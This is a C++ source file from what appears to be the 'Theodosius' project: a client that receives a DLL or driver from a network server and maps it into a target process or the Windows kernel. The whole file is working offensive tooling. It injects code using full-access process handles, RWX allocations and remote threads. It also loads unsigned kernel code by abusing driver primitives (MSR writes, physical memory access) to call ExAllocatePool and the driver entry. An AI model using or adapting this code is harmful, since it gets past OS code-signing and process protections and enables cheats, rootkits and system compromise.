You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
Theodosius/demos/Theodosius-Client/main.cpp

519 lines
14 KiB

#include <iostream>
#include <ws2tcpip.h>
#include <Psapi.h>
#include <map>
#include <filesystem>
#include "client.hpp"
#include "msrexec/msrexec.hpp"
#include "msrexec/vdm.hpp"
#include "vdm/vdm_ctx.hpp"
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
using extern_symbols_t = std::vector<std::pair<std::string, map_symbols_t>>;
auto get_map_symbols(std::string map_path) -> map_symbols_t
{
std::ifstream map_file(map_path);
if (!map_file.is_open())
return { {}, {} };
std::string line;
map_symbols_t result;
while (std::getline(map_file, line))
{
const auto colon_index = line.find(":");
if (colon_index == std::string::npos)
break;
const auto section_number =
std::strtoul(line.substr(1,
colon_index).c_str(), NULL, 16);
const auto section_offset =
std::strtoull(line.substr(
colon_index + 1, 16).c_str(), NULL, 16);
auto symbol = line.substr(
colon_index + 16 + 8,
line.length() - (colon_index + 16 + 7));
symbol[symbol.length()] = '\0';
result[symbol] = { section_number, section_offset };
}
return result;
}
int __cdecl main(int argc, char** argv)
{
if (argc <= 5)
{
std::printf("[!] invalid usage... please review the following:\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDll --pid 14234\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoImGui --pid 14234\n");
std::printf("\t\t> --pid, provide a process id to inject into...\n");
std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n");
std::printf("\t\t> --port, port number to connect too...\n");
std::printf("\t\t> --DemoDll, streams demo dll...\n");
std::printf("\t\t> --DemoImGui, streams demo imgui project...\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --MSREXEC --maps ntoskrnl.exe.map\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --VDM --maps ntoskrnl.exe.map\n");
std::printf("\t\t> --pid, provide a process id to inject into...\n");
std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n");
std::printf("\t\t> --MSREXEC, use MSREXEC to map the driver...\n");
std::printf("\t\t> --VDM, use VDM to map the driver...\n");
std::printf("\t\t> --maps, map files for unexported symbols...\n");
std::printf("\t\t> --DemoDrv, maps demo driver into the kernel...\n");
return -1;
}
int result{};
SOCKET client_socket;
WSADATA startup_data;
ADDRINFOA addr_info, * addr_result = nullptr;
memset(&addr_info, NULL, sizeof addr_info);
if ((result = WSAStartup(MAKEWORD(2, 2), &startup_data)))
{
std::printf("[!] failed to startup wsa... reason = %d\n", result);
return -1;
}
if ((result = getaddrinfo(argv[2], argv[4], &addr_info, &addr_result)))
{
std::printf("[!] failed to get address info = %s:%s, reason = %d\n",
argv[2], argv[4], result);
return -1;
}
if ((client_socket = socket(addr_result->ai_family,
addr_result->ai_socktype, addr_result->ai_protocol)) == INVALID_SOCKET)
{
std::printf("[!] failed to create socket... reason = %d\n",
WSAGetLastError());
return -1;
}
if ((result = connect(client_socket, addr_result->ai_addr,
addr_result->ai_addrlen)) == SOCKET_ERROR)
{
std::printf("[!] failed to connect to server... reason = %d\n",
WSAGetLastError());
return -1;
}
std::printf("[+] connected to theo server (%s:%s)\n",
argv[2], argv[4]);
theo::theo_data packet;
packet.type = theo::theo_packet_type::init;
// determine which file we are asking to map...
for (auto idx = 0u; idx < argc; ++idx)
{
if (!strcmp(argv[idx], "--DemoDll"))
{
packet.file = theo::theo_file_type::demo_dll;
break;
}
else if (!strcmp(argv[idx], "--DemoDrv"))
{
packet.file = theo::theo_file_type::demo_drv;
break;
}
else if (!strcmp(argv[idx], "--DemoImGui"))
{
packet.file = theo::theo_file_type::demo_imgui;
break;
}
}
switch (packet.file)
{
case theo::theo_file_type::demo_dll:
case theo::theo_file_type::demo_imgui:
{
std::uint32_t pid_offset = 0u, pid = 0u;
for (auto idx = 3; idx < argc; ++idx)
if (!strcmp(argv[idx], "--pid"))
pid_offset = idx + 1;
if (!pid_offset || !(pid = std::atoi(argv[pid_offset])))
{
std::printf("[!] invalid pid...\n");
return -1;
}
const auto phandle =
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (phandle == INVALID_HANDLE_VALUE)
{
std::printf("[!] failed to open handle...\n");
return -1;
}
theo::malloc_t _alloc = [&](std::size_t size) -> void*
{
const auto result = VirtualAllocEx
(
phandle,
nullptr,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!result)
{
std::printf("[!] failed to allocate virtual memory...\n");
exit(-1);
}
return result;
};
theo::memcpy_t _memcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
SIZE_T bytes_handled;
if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled))
{
std::printf("[!] failed to write memory... reason = 0x%x\n", GetLastError());
std::getchar();
}
return dest;
};
theo::resolve_symbol_t _resolver =
[&](const char* symbol_name) -> std::uintptr_t
{
static std::map<std::string, std::uintptr_t> symbol_table;
if (!symbol_table[symbol_name])
{
auto loaded_modules = std::make_unique<HMODULE[]>(64);
std::uintptr_t result = 0u, loaded_module_sz = 0u;
if (!EnumProcessModules(phandle,
loaded_modules.get(), 512, (PDWORD)&loaded_module_sz))
return {};
for (auto i = 0u; i < loaded_module_sz / 8u; i++)
{
wchar_t file_name[MAX_PATH] = L"";
if (!GetModuleFileNameExW(phandle,
loaded_modules.get()[i], file_name, _countof(file_name)))
continue;
if ((result = reinterpret_cast<std::uintptr_t>(
GetProcAddress(LoadLibraryW(file_name), symbol_name))))
break;
}
symbol_table[symbol_name] = result;
return result;
}
return symbol_table[symbol_name];
};
theo::client mapper(client_socket, packet, { _alloc, _memcpy, _resolver });
std::printf("[+] streaming module...\n");
const auto module_entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(
mapper.handle());
std::printf("[+] module entry -> 0x%p\n", module_entry);
if (module_entry)
{
std::uint32_t tid = 0u;
CreateRemoteThread(phandle, NULL,
NULL, module_entry, NULL, NULL, (LPDWORD)&tid);
}
break;
}
case theo::theo_file_type::demo_drv:
{
std::uint32_t maps_offset = 0u;
std::vector<std::pair<std::string, map_symbols_t>> extern_symbols;
for (auto idx = 5; idx < argc; ++idx)
{
if (!strcmp(argv[idx], "--maps"))
{
maps_offset = idx + 1;
break;
}
}
if (maps_offset)
{
for (auto idx = maps_offset; idx <= argc - 1; ++idx)
{
extern_symbols.push_back
({
std::filesystem::path(argv[idx]).stem().string(),
get_map_symbols(argv[idx])
});
}
}
std::printf("[+] number of map files = %d\n", extern_symbols.size());
for (auto idx = 0u; idx < extern_symbols.size(); ++idx)
std::printf("[+] %s number of symbols = %d\n",
extern_symbols[idx].first.c_str(), extern_symbols[idx].second.size());
theo::resolve_symbol_t _kresolver =
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
{
std::uintptr_t result = 0u;
utils::kmodule::each_module
(
[&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
{
const auto drv_name =
reinterpret_cast<const char*>(
drv_info->OffsetToFileName + drv_info->FullPathName);
// false if we found the symbol...
return (!(result = utils::kmodule::get_export(drv_name, symbol_name)));
}
);
if (!result)
{
for (auto& [drv_name, drv_symbols] : extern_symbols)
{
// each kernel module... find a driver with a matching map file name...
// I.E ntoskrnl.exe.map == ntoskrnl.exe...
utils::kmodule::each_module
(
[&, &drv_name = drv_name, &drv_symbols = drv_symbols]
(PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
{
const auto _drv_name =
reinterpret_cast<const char*>(
drv_info->OffsetToFileName + drv_info->FullPathName);
// if this is the driver, load it, loop over its sections
// calc the absolute virtual address of the symbol...
if (!strcmp(_drv_name, drv_name.c_str()))
{
const auto drv_load_addr =
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES));
std::uint32_t section_count = 1u;
utils::pe::each_section
(
[&, &drv_symbols = drv_symbols]
(PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool
{
if (section_count == drv_symbols[symbol_name].first)
{
result = reinterpret_cast<std::uintptr_t>(drv_info->ImageBase) +
section_header->VirtualAddress + drv_symbols[symbol_name].second;
// we found the symbol...
return false;
}
++section_count;
// keep going over sections...
return true;
}, drv_load_addr
);
}
// keep looping over modules until we resolve the symbol...
return !result;
}
);
// if we found the symbol then break out of the loop... else keep looping...
if (result) break;
}
}
// finally return the result...
return result;
};
for (auto idx = 0u; idx < argc; ++idx)
{
if (!strcmp(argv[idx], "--MSREXEC"))
{
const auto [drv_handle, drv_key, drv_status] = msrexec::load_drv();
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
writemsr_t _write_msr =
[&](std::uint32_t key, std::uint64_t value) -> bool
{
return msrexec::writemsr(key, value);
};
vdm::msrexec_ctx msrexec(_write_msr);
theo::malloc_t _kalloc = [&](std::size_t size) -> void*
{
void* alloc_base;
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::size_t);
const auto ex_alloc_pool =
reinterpret_cast<ex_alloc_pool_t>(
get_kroutine(krnl_base, "ExAllocatePool"));
alloc_base = ex_alloc_pool(NULL, size);
}
);
return alloc_base;
};
theo::memcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
void* result = nullptr;
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto kmemcpy =
reinterpret_cast<decltype(&memcpy)>(
get_kroutine(krnl_base, "memcpy"));
result = kmemcpy(dest, src, size);
}
);
return result;
};
theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver });
std::printf("[+] streaming kernel module...\n");
const auto module_entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(
mapper.handle());
std::printf("[+] driver entry -> 0x%p\n", module_entry);
std::getchar();
if (module_entry)
{
int result;
msrexec.exec([&result, drv_entry = module_entry]
(void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using drv_entry_t = int(*)();
result = reinterpret_cast<drv_entry_t>(drv_entry)();
});
}
const auto unload_status = msrexec::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
break;
}
else if (!strcmp(argv[idx], "--VDM"))
{
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
// use VDM to syscall into ExAllocatePool...
vdm::vdm_ctx vdm(_read_phys, _write_phys);
theo::malloc_t _kalloc = [&](std::size_t size) -> void*
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::uint32_t);
static const auto ex_alloc_pool =
reinterpret_cast<void*>(
utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool"));
return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
};
// use VDM to syscall into memcpy exported by ntoskrnl.exe...
theo::memcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
static const auto kmemcpy =
reinterpret_cast<void*>(
utils::kmodule::get_export(
"ntoskrnl.exe", "memcpy"));
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
};
theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver });
const auto module_entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(
mapper.handle());
std::printf("[+] driver entry -> 0x%p\n", module_entry);
std::getchar();
if (module_entry)
{
// call driver entry... its up to you to do this using whatever method...
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
const auto entry_result =
vdm.syscall<NTSTATUS(*)()>(
reinterpret_cast<void*>(module_entry));
}
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
break;
}
}
break;
}
default:
{
std::printf("[!] invalid demo file option...\n");
return -1;
}
}
std::printf("[+] press enter to close...\n");
std::getchar();
}